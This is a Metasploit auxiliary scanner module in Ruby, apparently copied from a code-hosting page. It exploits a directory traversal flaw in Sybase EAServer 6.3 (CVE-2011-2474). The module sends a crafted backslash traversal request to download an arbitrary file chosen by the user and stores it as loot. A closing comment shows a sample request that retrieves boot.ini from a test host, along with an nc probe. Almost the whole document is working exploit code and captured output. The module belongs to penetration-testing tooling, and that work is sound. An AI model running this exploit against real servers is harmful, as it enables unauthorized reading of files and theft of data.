108 lines
3.0 KiB
Ruby
108 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability found in Sybase
|
|
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
|
|
EAserver's default configuration unless the web server allows WRITE permission.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-2474' ],
|
|
[ 'OSVDB', '72498' ],
|
|
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
|
|
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Sow Ching Shiong', #Initial discovery (via iDefense)
|
|
'sinn3r'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "May 25 2011"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
|
|
])
|
|
|
|
deregister_options('RHOST')
|
|
end
|
|
|
|
def run_host(ip)
|
|
# No point to continue if no filename is specified
|
|
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
|
print_error("Please supply the name of the file you want to download")
|
|
return
|
|
end
|
|
|
|
print_status("Attempting to download: #{datastore['FILEPATH']}")
|
|
|
|
# Create request
|
|
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
|
|
}, 25)
|
|
|
|
print_status("Server returns HTTP code: #{res.code.to_s}")
|
|
|
|
# Show data if needed
|
|
if res and res.code == 200
|
|
vprint_line(res.to_s)
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
'easerver.http',
|
|
'application/octet-stream',
|
|
ip,
|
|
res.body,
|
|
fname
|
|
)
|
|
print_status("File saved in: #{path}")
|
|
else
|
|
print_error("Nothing was downloaded")
|
|
end
|
|
end
|
|
end
|
|
|
|
=begin
|
|
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
|
|
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
|
|
Connection: close
|
|
Accept: */*
|
|
Host: 10.0.1.55:8000
|
|
|
|
HTTP/1.1 200 OK
|
|
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
|
|
Content-Length: 211
|
|
Connection: close
|
|
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
|
|
|
[boot loader]
|
|
timeout=30
|
|
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
|
[operating systems]
|
|
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
|
|
|
|
$ nc 10.0.1.55 8000
|
|
OPTIONS / HTTP/1.0
|
|
|
|
HTTP/1.1 405 Method Not Allowed
|
|
Allow: GET
|
|
Content-Length: 0
|
|
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
|
=end
|